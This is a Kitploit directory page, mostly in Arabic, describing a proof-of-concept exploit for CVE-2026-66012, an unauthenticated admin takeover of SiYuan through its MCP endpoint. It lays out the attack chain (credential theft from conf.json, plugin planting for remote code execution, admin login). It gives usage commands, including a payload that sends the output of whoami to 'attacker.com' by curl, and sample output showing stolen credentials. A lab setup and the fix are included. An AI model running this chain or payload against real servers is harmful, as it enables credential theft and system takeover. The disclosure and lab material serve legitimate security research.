Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization — استغلال ثغرة CVE-2026-66012 للاستيلاء على حساب المدير دون مصادقة، باستخدام MCP لاستغلال غياب التفويض لتسريب بيانات الاعتماد وتحقيق تنفيذ تعليمات برمجية عن بُعد. | Kitploit
أدوات/GitHubGitHub/hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization
المصادقة والترخيصتصعيد الامتيازاتتحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار الاختراقالفريق الأحمرتطوير الحمولات

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
GitHub
hunt-benito/siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

siyuan-mcp-admin-takeover-cve-2026-66012-missing-authorization

استغلال ثغرة CVE-2026-66012 للاستيلاء على حساب المدير دون مصادقة، باستخدام MCP لاستغلال غياب التفويض لتسريب بيانات الاعتماد وتحقيق تنفيذ تعليمات برمجية عن بُعد.

عرض المستودع
1منذ 25 أياملم تتم المراجعة بعد

CVE-2026-66012 — الاستيلاء الكامل على مدير SiYuan دون مصادقة عبر MCP

إثبات المفهوم (PoC) للثغرة CVE-2026-66012 (درجة خطورة CVSS 10.0 — حرجة)، وهي ثغرة نقص التفويض (Missing Authorization) في نقطة نهاية MCP (Model Context Protocol) الخاصة بـ SiYuan، والتي تسمح لمهاجم غير مصادَق بالاستيلاء الكامل على صلاحيات المدير وتنفيذ أوامر برمجية عن بُعد عند تفعيل خادم Publish في الوضع المجهول.

ملخص الثغرة

الحقلالقيمة
CVECVE-2026-66012
CVSS 3.110.0 حرجة
CWECWE-862 — نقص التفويض
الإصدارات المتأثرةSiYuan < v3.7.2
تم الإصلاح فيv3.7.2 (commit df51c2bda696)
المُبلِّغNguyen Van Hiep (@hypnguyen1209)، MBBank

السبب الجذري

تتضافر ثلاثة عيوب لتشكيل سلسلة الهجوم:

  1. يُسجَّل مسار POST /mcp مع model.CheckAuth فقط — دون CheckAdminRole أو CheckReadonly. وأي رمز JWT صالح (بما في ذلك الرموز المقيّدة بصلاحية Reader) يمكنه استدعاء جميع أدوات MCP البالغ عددها 31 أداة.
  2. موزّع الأدوات (handler.go) يستدعي الأدوات دون فحص دور المتصل.
  3. وكيل Publish العكسي يحقن رمز JWT مجهولًا بصلاحية RoleReader في كل طلب عندما تكون Publish.Auth.Enable=false، محوّلًا عيب نقص التفويض إلى ثغرة دون مصادقة.

سلسلة الهجوم

  1. مصافحة MCP عبر POST /mcp على منفذ Publish (بدون بيانات اعتماد)
  2. قراءة conf/conf.json ← استخراج accessAuthCode وapi.token وcookieKey
  3. زرع إضافة (Plugin) في data/plugins/pwn/ ← تنفيذ أوامر عن بُعد عند الإقلاع التالي لسطح المكتب عبر nodeIntegration:true
  4. تسجيل دخول المدير على المنفذ 6806 باستخدام accessAuthCode المسروق

المتطلبات الأساسية

  • Python 3.8+
  • مكتبة requests (pip install requests)
  • Docker 20.10+ (لإعداد المختبر فقط)

الاستخدام

root@kitploit:~
# Full exploit (credential exfil + plugin plant + admin escalation)
python3 exploit.py http://TARGET:6808

# Custom payload for the planted plugin
python3 exploit.py http://TARGET:6808 "curl http://attacker.com/$(whoami)"

# Credential exfiltration only (no plugin planting)
python3 exploit.py http://TARGET:6808 --no-plugin

إعداد المختبر

للاستخدام في الاختبارات المصرّح بها فقط. قم بإعداد نسخة محلية قابلة للاستغلال:

root@kitploit:~
# Create workspace
LAB_ROOT=/tmp/siyuan-lab
rm -rf "$LAB_ROOT" && mkdir -p "$LAB_ROOT/workspace"
chmod 777 "$LAB_ROOT" "$LAB_ROOT/workspace"

# Start vulnerable SiYuan v3.7.1
docker run -d --name siyuan-lab \
  -p 127.0.0.1:6806:6806 -p 127.0.0.1:6808:6808 \
  -v "$LAB_ROOT/workspace":/siyuan/workspace \
  -e "SIYUAN_ACCESS_AUTH_CODE=labpass-9f4c1a" \
  -e "PUID=1000" -e "PGID=1000" \
  b3log/siyuan:v3.7.1 \
  serve --accessAuthCode=labpass-9f4c1a --lang=en_US

sleep 6

# Enable Publish server in anonymous mode
API_TOKEN=$(docker exec siyuan-lab sh -c \
  'sed -n "s/.*\"token\": *\"\([^\"]*\)\".*/\1/p" /siyuan/workspace/conf/conf.json | head -1')

curl -sS -X POST http://127.0.0.1:6806/api/setting/setPublish \
  -H "Authorization: Token $API_TOKEN" \
  -H 'Content-Type: application/json' \
  -d '{"enable":true,"port":6808,"auth":{"enable":false,"accounts":[]}}'

# Run the exploit
python3 exploit.py http://127.0.0.1:6808 "id"

المخرجات المتوقعة

root@kitploit:~
=================================================================
CVE-2026-66012 — SiYuan MCP Admin Takeover
Target: http://127.0.0.1:6808
=================================================================

[*] Starting MCP handshake...
[+] Session established: 1atnx3vlzoccx89n

[*] Reading conf/conf.json via MCP file tool...
[+] Exfiltrated credentials:
    accessAuthCode: labpass-9f4c1a
    cookieKey: zhia862a5vfvraau
    api_token: nsnt2m0n4lwv2a43

[*] Planting plugin with payload: id
[+] Plugin planted at data/plugins/pwn/
    Payload executes on next desktop launch

[*] Attempting admin login at http://127.0.0.1:6806...
[+] Administrator session established
    Token: lqfhx...

=================================================================
Exploit complete.
Plugin will execute 'id' on next desktop launch.
For authorized testing only.
=================================================================

الإصلاح

قم بالترقية إلى SiYuan v3.7.2 أو أحدث. يطبّق الإصلاح (commit df51c2bda696) ما يلي:

  1. وسيط CheckAdminRole + CheckReadonly على مسار /mcp
  2. حظر صريح للوصول إلى conf/conf.json في أداة الملفات
  3. قائمة سماح لمسارات وكيل Publish (تُرجع مسارات الإدارة رمز 401 للمستخدمين المجهولين)

المراجع

  • GHSA-cvhv-7xhj-xjp8
  • NVD CVE-2026-66012
  • commit الإصلاح df51c2bd
  • نشرة VulnCheck الأمنية

إخلاء المسؤولية

هذا الإثبات (PoC) مخصّص لاختبارات الأمان المصرّح بها ولأغراض تعليمية فقط. الاستخدام غير المصرّح به ضد أنظمة لا تملكها أو ليس لديك إذن صريح لاختبارها يُعد غير قانوني. لا يتحمّل المؤلفون أي مسؤولية عن أي إساءة استخدام لهذا الكود.

تنزيل الأداة